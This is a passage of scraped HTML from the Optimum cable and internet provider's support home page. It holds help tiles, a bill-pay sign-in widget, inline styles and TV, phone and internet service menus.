ng-transclude=""></span></i> </div> </span> </a> </span></span> </div> </div> <div class="feature-cta" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" style="display: none;"> <span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#" ng-show="module.link.mobileTitle" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary hidden-phone cta-arrow-link-dt cta-arrow-link" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" cta-arrow-link="" cta-arrow-link-dt="" href="#" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!-- <div class="feature-cta" ng-show="module.error && module.id == 'onDemand' || module.noEntitlement" > <a cta-arrow-link class="primary hidden-desktop hidden-tablet" href="#" ng-show="module.link.mobileTitle"> <span>{{module.link.mobileTitle}}</span> </a> <a cta-arrow-link class="primary hidden-phone" href="#" ng-show="showLink && module.link.title"> <span>{{module.link.title}}</span> </a> </div>--> </div> </div> <!-- if: ! isViewportSize.phone --><p class="current-timestamp ng-scope ng-binding" if="! isViewportSize.phone" ng-hide="module.displayStyle=='wifi'">Current as of </p> </div> </div> <div class="span4 hidden-phone"> <div class="moving-box"> <section class="ads home-widget-ads"> <!--mp_trans_remove_start--> <div ng-show="HomeCtrl.displayAds"><div ng-include="" src="'/api/profilecache-parent/services/v1/targetedmessaging/gpt/targetedad/targeted.optimum/home_top/right'"><!-- Start: GPT Async --> <!-- End: GPT --> <!-- Adslot's refresh function: googletag.pubads().refresh([gptadslots[1]]) --> <div id="div-gpt-ad-579216023488959510-1" class="ng-scope"> </div> </div></div> <!--mp_trans_remove_end--> <!-- mp_trans_disable_start --> <!--mp_trans_add <div ng-show="HomeCtrl.displayAds"><div ng-include src="'/api/profilecache-parent/services/v1/targetedmessaging/gpt/targetedad/targeted.optimum.espanol/home_top/right'"></div></div> --> <!-- mp_trans_disable_end --> </section> </div> </div> </div> </div> </section> <!--HELP/PAYBILL SECTION--> <div class="scroll-down-container hidden-phone" data-ng-click="HomeCtrl.scrollToNextSection('bannerad')" id="scroller"> <div class="row"> <span class="dot scroll-icon-span"><span class="dot-inner" ng-transclude=""> <i class="icon-angle-down ng-scope"></i> </span></span> </div> </div> <section class="help-paybill"> <div class="container"> <div class="row"> <div class="span8"> <h2 class="hidden-desktop hidden-tablet">Need help?</h2> <div class="semflex full-width align-children-middle hidden-desktop hidden-tablet"> <div> <div class="search-bar-group"> <form data-ng-submit="HomeCtrl.faqSearch()" class="ng-pristine ng-valid"> <div class="search-bar-container"> <input type="text" class="input full-width ng-pristine ng-valid" data-ng-model="HomeCtrl.model.faqSearchText" placeholder="Search FAQs"> </div> <div class="search-button"> <a data-ng-click="HomeCtrl.faqSearch()" class="btn btn--primary icon-search"></a> </div> </form> </div> </div> </div> <div ng-hide="ooluser.hasOOLSession"> <h1 class="ie8-heading support-page-subheading">I need help with...</h1> </div> <!-- Cable Box Faqs --> <div> <section class="home-top-faqs" ng-show="ooluser.hasOOLSession" style="display: none;"> <a href="https://www.optimum.net/pages/read-your-bill.html"> <div class="span6 can-help-section"> <div class="img can-help-section-icons"><img alt="" src="https://static.tvlistings.optimum.net/ool/static/prod/images/Icon-Altice-Bill-Euro.svg"></div> <p class="can-help-section-txt box1">I want to understand my bill</p> </div></a> <a href="https://www.optimum.net/FAQ/#/answers/a_id/3690"> <div class="span6 can-help-section"> <div class="img can-help-section-icons"><img alt="" src="./Optimum _ TV, Phone and Internet Support Home_files/laptop.svg"></div> <p class="can-help-section-txt box2">I have a device that can't<br> connect to WiFi</p> </div></a> <a href="https://www.optimum.net/remote"> <div class="span6 can-help-section"> <div class="img can-help-section-icons"><img alt="" src="./Optimum _ TV, Phone and Internet Support Home_files/Icon-remote-new.svg"></div> <p class="can-help-section-txt box3">I want to program my<br> remote</p> </div></a> <a href="https://www.optimum.com/mobile/support" target="_blank"> <div class="span6 can-help-section"> <div class="img can-help-section-icons"><img alt="" src="https://static.tvlistings.optimum.net/ool/static/prod/images/Icon-ALTICE-PHONE.svg"></div> <p class="can-help-section-txt box4">I want help with<br> Optimum Mobile<span class="small-mobile-dark"></span></p> </div></a> <BR> <div class="customer-support-links hidden-tablet"> <ul> <li style="text-decoration:none"><span class="icon-truck-small"></span><span class="truck-txt">Are you planning a move?</span><a class="truck-row" href="https://www.optimum.com/moving"><span class="primary_color underline">Take Optimum with you</span></a></li> </ul> </div> <br> <div class="customer-support-links hidden-desktop hidden-phone"> <ul> <li style="text-decoration:none"><span class="icon-truck-small"></span><span class="truck-txt">Are you planning a move?</span><a class="truck-row" href="https://www.optimum.com/moving"><span class="primary_color underline">Take Optimum with you</span></a></li> </ul> </div> <span class="primary content-block-1-2-3 cta-arrow-link" cta-arrow-link="" href="/support"> <a class="font-cta-link" href="https://www.optimum.net/support"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Get more help</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </section> <!-- LABOX VERSION --> <section class="home-top-faqs" ng-hide="ooluser.hasOOLSession"> <a href="https://www.optimum.net/internet?from=support"> <div class="span3 need-help-section"> <div><img class="need-help-section-icons" alt="" src="https://static.tvlistings.optimum.net/ool/static/prod/images/Icon-Altice-WiFi.svg"></div> <span>Internet</span> </div> </a> <a href="https://www.optimum.net/support/alticeone-picker"> <div class="span3 need-help-section"> <div><img class="need-help-section-icons" alt="" src="https://static.tvlistings.optimum.net/ool/static/prod/images/Icon-Altice-TV.svg"></div> <span>TV</span> </div> </a> <a href="https://www.optimum.net/support/phone"> <div class="span3 need-help-section"> <div><img class="phone-small-icon need-help-section-icons" alt="" src="https://static.tvlistings.optimum.net/ool/static/prod/images/Icon-ALTICE-PHONE.svg"></div> <span class="phone-small">Phone</span> </div> </a> <a href="https://www.optimum.com/mobile/support" target="_blank"> <div class="span3 need-help-section"> <div><img class="mobile-small-image need-help-section-icons" alt="" src="https://static.tvlistings.optimum.net/ool/static/prod/images/Icon-Mobile1.svg"></div> <span class="mobile-small-txt">Mobile</span><div class="small-mobile-light"></div> </div> </a> <a href="https://www.optimum.net/support/pay-bill"> <div class="span3 need-help-section"> <div><img class="need-help-section-icons" alt="" src="https://static.tvlistings.optimum.net/ool/static/prod/images/Icon-Altice-Bill-Euro.svg"></div> <span>Billing</span> </div> </a> <br> <div class="customer-support-links hidden-tablet"> <ul> <li style="text-decoration:none"><span class="truck-txt icon-truck-small-unath"></span><span style="font-family: Regular;color: #404040;">Are you planning a move?</span><a class="truck-row2" href="https://www.optimum.com/moving"><span class="primary_color underline">Take Optimum with you</span></a></li> </ul> </div> <br> <div class="customer-support-links hidden-desktop hidden-phone"> <ul> <li style="text-decoration:none"><span class="icon-truck-small-unath"></span><span style="font-family: Regular;color: #404040;">Are you planning a move?</span><a class="truck-row2" href="https://www.optimum.com/moving"><span class="primary_color underline">Take Optimum with you</span></a></li> </ul> </div> </section> </div> <style> section.home .help-paybill { padding: 53px 0; border-bottom: 1px solid #d9d9d9; } span.truck-txt { font-family: 'Regular-Medium'; color: #404040 !important; } section.home .help-paybill .customer-support-links ul { margin-top: 12px; } .can-help-section { border: 1px solid #d9d9d9; border-radius: 6px; padding: 12px 0px 7px 10px; margin: 0px 15px 15px 0px; max-width: 300px; } .can-help-section:hover { text-decoration: none !important; background-color: #f2f2f2; border: 1px solid #0084d6; cursor: pointer; } .can-help-section-icons { float: left; margin: 0px 0px 0px 0px; padding: 5px 10px 10px 10px; } .can-help-section-txt { font-size: 16px; line-height: 20px; color: #000 } .need-help-section span { font-size: 15px; font-family: 'Regular-Medium'; } section.home section.home-top-faqs { margin-top: 30px; } section.home section.home-top-faqs a { outline: 0; } .icon-truck-small{ background: url(https://static.tvlistings.optimum.net/ool/static/prod/images/icon-Altice-Truck.svg) no-repeat !important; margin-top: 2px !important; float: left !important; width: 36px !important; height: 36px !important; margin-left: 20px; } .icon-truck-small-unath { background: url(https://static.tvlistings.optimum.net/ool/static/prod/images//icon-Altice-Truck.svg) no-repeat !important; margin-top: 2px !important; float: left !important; width: 36px !important; height: 36px !important; margin-left: 0px; } section.home section.home-top-faqs .content-block-1-2-3 a { color: #0084d6; font-size: 16px; } .primary.content-block-1-2-3 { margin-top: 30px; } .box1 { position: relative; top: 10px; } .box2 { position: relative; top: 7px; } .box3 { position: relative; top: 2px; } .box4 { position: relative; top: 2px; } .need-help-section { border: 1px solid #d9d9d9; border-radius: 6px; padding: 20px 0px 20px 0px; margin: 0px 20px 15px 0px; text-align: center; height: 100px; max-width: 90px; } .need-help-section:hover { text-decoration: none !important; background-color: #f2f2f2; border: 1px solid #0084d6; cursor: pointer; } .need-help-section-icons { display: block; margin: auto; margin-bottom: 5px; max-height: 24px; } .small-mobile-light{ margin-left:5px; display: inline-block; background: url(https://static.tvlistings.optimum.net/ool/static/prod/images/Group-5701.svg) no-repeat !important; width: 11px; height: 11px; } .small-mobile-dark{ margin-left:5px; display: inline-block; background: url(https://static.tvlistings.optimum.net/ool/static/prod/images/Outersite_gray.svg) no-repeat !important; width: 11px; height: 11px; } .primary_color.underline { color: #0084d6; font-family: regular; text-decoration: underline; } @media screen and (max-width: 1199px) { .truck-row { display:block; } } @media screen and (max-width: 979px) { .home-top-faqs .need-help-section { margin: 0px 10px 10px 0px; } br.large-small { display: none; } .box1 { top: 5px; } } @media screen and (max-width: 767px) { .need-help-section { border: 1px solid #d9d9d9; border-radius: 6px; padding: 20px 0px 25px 0px; margin: 0px 20px 10px 0px; text-align: left; max-width: 100%; height: 80px; } .icon-truck-small-unath { margin-left: 20px; } .phone-small-icon.need-help-section-icons { position: relative; top: 1px; } span.phone-small.primary-link { position: relative; top: 4px; } section.home .help-paybill { padding: 18px 0; } section.home section.home-top-faqs a { text-decoration: none; } .mobile-small-image.need-help-section-icons { left: 18px; } .small-mobile-light { top: 5px; position: relative; } span.mobile-small-txt { left: -3px; } .small-mobile-light { margin-left: 0px; } span.truck-txt { font-family: 'Regular-Medium'; color: #404040 !important; } .icon-truck-small { margin-left: 20px; margin-bottom: 20px; } .need-help-section span { position: relative; top: 5px; font-size: 20px; } .need-help-section-icons { float: left; position: relative; top: -5px; left: 20px; margin: 0px 40px 0px 0px; max-height:100%; } .truck-row2 { display:block; } .can-help-section-icons { float: left; margin: 0px 0px 0px 0px; padding: 5px 10px 10px 10px; } .can-help-section-txt { font-size: 17px; line-height: 20px; color: #000; font-family: 'Regular-Medium'; } .can-help-section { border: 1px solid #d9d9d9; border-radius: 6px; padding: 14px 0px 7px 10px; margin: 0px 15px 15px 0px; max-width: 100%; height:80px; } .box1 { padding: 0px 0px 35px 10px; top: 14px; } .box2 { top: 7px; padding: 0px 10px 15px 10px;} .box3 { padding: 0px 10px 10px 10px; } .box4 { padding: 0px 10px 10px 10px; } .primary.content-block-1-2-3 { margin-top: 0px; } br.large-small { display: block; } } </style> </div> <hr class="hidden-desktop hidden-tablet"> <div class="span4"> <div billpay-widget="" billpaydata="HomeCtrl.billPay" ooluser="ooluser" class="ng-isolate-scope ng-scope"><section class="billpay-widget"> <h1>My bill</h1> <div class="paybill-box"> <div ng-show="state.loading" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" aria-role="progressbar" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(24deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(45deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(66deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(87deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(108deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(129deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(151deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(172deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(193deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(214deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(235deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(256deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(278deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(299deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(320deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(341deg) translate(22px, 0px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center; transform: rotate(362deg) translate(22px, 0px); border-radius: 0px;"></div></div></div></div> </div> <div ng-show="!state.loading"> <div ng-show="!state.error"> <div ng-show="state.isAuthed" style="display: none;"> <div ng-show="state.lastPaymentAmount != 0" class="row-payment-detail"> <span class="col-left"> <span>Payment received</span> <br> <span class="description ng-binding"></span> <span class="amount ng-binding"></span> </span> <span class="topForToolTip tip mFont"> <div class="tooltip-sign color-primary"><i class="onet-icons-tooltip-sign"></i></div> <span class="tooltipB tooltipIE8 toolTipTextFont"> <p class="tooltipAnchorFont ng-binding" ng-bind-html-unsafe="state.toolTip.lastPayment">Payments may take up to 24 hours to appear here. All of your recently processed payments can be viewed in the <a href="https://www.optimum.net/pay-bill/account-activity">Account activity</a> section.</p> </span> </span> </div> <div ng-show="!state.isPastDue && state.currentBalance != ''" class="row-payment-detail" ng-class="{error : state.hasPpvInhibit, bold : state.hasPpvInhibit}"> <span class="col-left"> <span class="description">Account balance</span> <span class="amount ng-binding"></span> </span> <span class="topForToolTip tip mFont"> <div class="tooltip-sign color-primary"><i class="onet-icons-tooltip-sign"></i></div> <span class="tooltipB tooltipIE8 toolTipTextFont"> <p class="ng-binding">This is the most current information available to both our systems and customer service agents. It includes all credits and payments processed up through 4:16 am, today.</p> </span> </span> </div> <div ng-show="state.isPastDue" class="row-payment-detail error bold" style="display: none;"> <span class="col-left"> <span class="description">Past due</span> <span class="amount ng-binding"></span> </span> <span class="topForToolTip tip mFont"> <div class="tooltip-sign color-primary"><i class="onet-icons-tooltip-sign"></i></div> <span class="tooltipB tooltipIE8 toolTipTextFont"> <p class="ng-binding">Your Optimum account is past due. The last thing we want to do is interrupt or disconnect your service. Please pay this amount to prevent interruption of your service.</p> </span> </span> </div> <div ng-show="state.amountDue != ''" class="row-payment-detail bold due" ng-class="{error : state.isPastDue, due : state.isPastDue == false}"> <span class="col-left"> <span class="description">Amount due <span ng-show="!state.isPastDue" class="ng-binding">on<br></span></span> <span class="amount ng-binding"></span> </span> <span class="topForToolTip tip mFont"> <div class="tooltip-sign color-primary"><i class="onet-icons-tooltip-sign"></i></div> <span class="tooltipB tooltipIE8 toolTipTextFont"> <p class="ng-binding">This is the total amount due on your Optimum account. It includes all credits and payments processed up through 4:16 am, today.</p> </span> </span> </div> <div ng-show="state.message" ng-class="{error : state.isPastDue}" class="message ng-binding">Please sign in to view and pay your bill.</div> <div class="container-button-relative"> <a ng-show="state.isAuthed" ng-href="/login/?referer=%2fpay-bill%2f" omtr="trackme" title="Home | My Bill Widget | Sign In" class="btn btn--primary ng-binding" ng-class="{'btn-urgent' : state.isPastDue}" href="https://www.optimum.net/login/?referer=%2fpay-bill%2f" style="display: none;">Sign In</a> </div> </div> <div ng-show="!state.isAuthed"> <h4 class="ng-binding">Please sign in to view and pay your bill.</h4> <div class="container-button-relative"> <a class="btn btn--primary ng-binding" omtr="trackme" title="Home | My Bill Widget | Sign In" ng-href="/login/?referer=%2fpay-bill%2f" href="https://www.optimum.net/login/?referer=%2fpay-bill%2f">Sign In</a> </div> </div> </div> <div ng-show="state.error" style="display: none;"> <h4 class="widget-load-error ng-binding">Please sign in to view and pay your bill.</h4> </div> </div> </div> </section> </div> </div> </div> </div> </section> <!-- MY SERVICES SECTION Desktop view--> <section class="myservices hidden-phone" ng-show="HomeCtrl.myServices.length > 0 && !HomeCtrl.isBusinessAccount" style="display: none;"> <div class="container"> <div class="row"> <div class="span12"><h1>My services</h1><a href="#" class="btn btn--primary btn-upgrade">Upgrade</a></div> </div> <div class="row"> <!-- ngRepeat: myService in HomeCtrl.myServices --> </div> <div class="row"> <div class="watchMenu" ng-show="HomeCtrl.activeServiceDrawer=='TV'" id="myServicesDetailTVDesktop" style="display: none;"> <div class="watchMenuWrapper"> <!--Cable Box User --> <div class="row" ng-hide="ooluser.laBoxUser"> <div class="span4 three-col-one borderRt"> <div class="serviceWrapper"> <div class="detailsHeader cablebox-icon"> <div class="serviceBlockHeader">You have <span class="noofboxes ng-binding"></span> cable box<span ng-show="HomeCtrl.hasMultipleBoxes" style="display: none;">es</span></div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV setting"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage your cable box settings</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV remote"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Program your remote</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV reboot cable box"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Learn when and why to reboot your cable box</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="span5 three-col-two"> <div class="serviceWrapper"> <div class="detailsHeader"> <div class="watchTv-icon"></div> <div class="serviceBlockHeader">Watch TV from your mobile device</div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV download app"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Download the Optimum App</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV tvtogo"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">With TV to GO watch TV when you're away from home, anywhere there's internet</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="span3 three-col-three"> <div class="serviceRightSpan"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV tv channel guide">TV channel guide</a></li> <li ng-show="ooluser.p.dvr" style="display: none;"><a href="#" omtr="trackme" title="Home| Home| Myservices TV DVR">DVR</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV On Demand">On Demand</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV pay per view">Pay per view</a></li> </ul> </div> </div> </div> <!--La Box User --> <div class="row" ng-show="ooluser.laBoxUser" style="display: none;"> <div class="span4 three-col-one borderRt"> <div class="serviceWrapper"> <div class="detailsHeader la-box-icon"> <div class="serviceBlockHeader">You have <span class="noofboxes ng-binding"></span> cable box<span ng-show="HomeCtrl.hasMultipleBoxes" style="display: none;">es</span></div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV setting"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage your cable box settings</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV remote"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Program your remote</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="span5 three-col-two"> <div class="serviceWrapper"> <div class="detailsHeader"> <div class="watchTv-icon"></div> <div class="serviceBlockHeader">Watch TV from your mobile device</div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV download app"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Download the Altice One App</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV tvtogo"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">With TV to GO watch TV when you're away from home, anywhere there's internet</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="span3 three-col-three"> <div class="serviceRightSpan"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV tv channel guide">TV channel guide</a></li> <li ng-show="ooluser.p.dvr" style="display: none;"><a href="#" omtr="trackme" title="Home| Home| Myservices TV DVR">DVR</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV On Demand">On Demand</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV pay per view">Pay per view</a></li> </ul> </div> </div> </div> </div> </div> <div class="watchMenu" ng-show="HomeCtrl.activeServiceDrawer=='Phone'" id="myServicesDetailPhoneDesktop" style="display: none;"> <div class="watchMenuWrapper"> <div class="row"> <div class="span9"> <div class="serviceWrapper"> <div class="detailsHeader phone-icon"> <div class="serviceBlockHeader">Manage your calling features from anywhere</div> </div> <div class="li-offset"> <div class="span4"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone voicemail">Voicemail</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone vip ringing">VIP ringing</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone private outbound calling">Private outbound calling</a></li> </ul> </div> <div class="span4"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone find me">Find me</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone call waiting">Call waiting</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone backup phone">Backup phone</a></li> </ul> </div> <div class="span4"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone call forwarding">Call forwarding</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone block unwanted calls">Block unwanted calls</a></li> </ul> </div> </div> </div> </div> <div class="span3"> <div class="serviceRightSpan"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone check voice mail">Check voicemail</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone recent calls">Recent calls</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone international calling">International calling</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone 3-way calling and more">3-way calling and more</a></li> </ul> </div> </div> </div> </div> </div> <div class="watchMenu" ng-show="HomeCtrl.activeServiceDrawer=='Internet'" id="myServicesDetailInternetDesktop" style="display: none;"> <div class="watchMenuWrapper"> <!--Cable Box User --> <div class="row" ng-hide="ooluser.laBoxUser"> <div class="span4 three-col-one borderRt"> <div class="serviceWrapper"> <div class="detailsHeader wifiblock-icon"> <div class="serviceBlockHeader multiline"> You have <span class="noofboxes ng-binding"></span> device<span ng-show="HomeCtrl.hasMultipleDevices" style="display: none;">s</span> enabled <span class="wifitext">for free automatic access to <span class="important"> over 2 million </span> Optimum WiFi hotspots</span> </div> </div> <div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet manage devices"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage Devices</span></span> <i class="cta-circle dot dot--dark-overlay 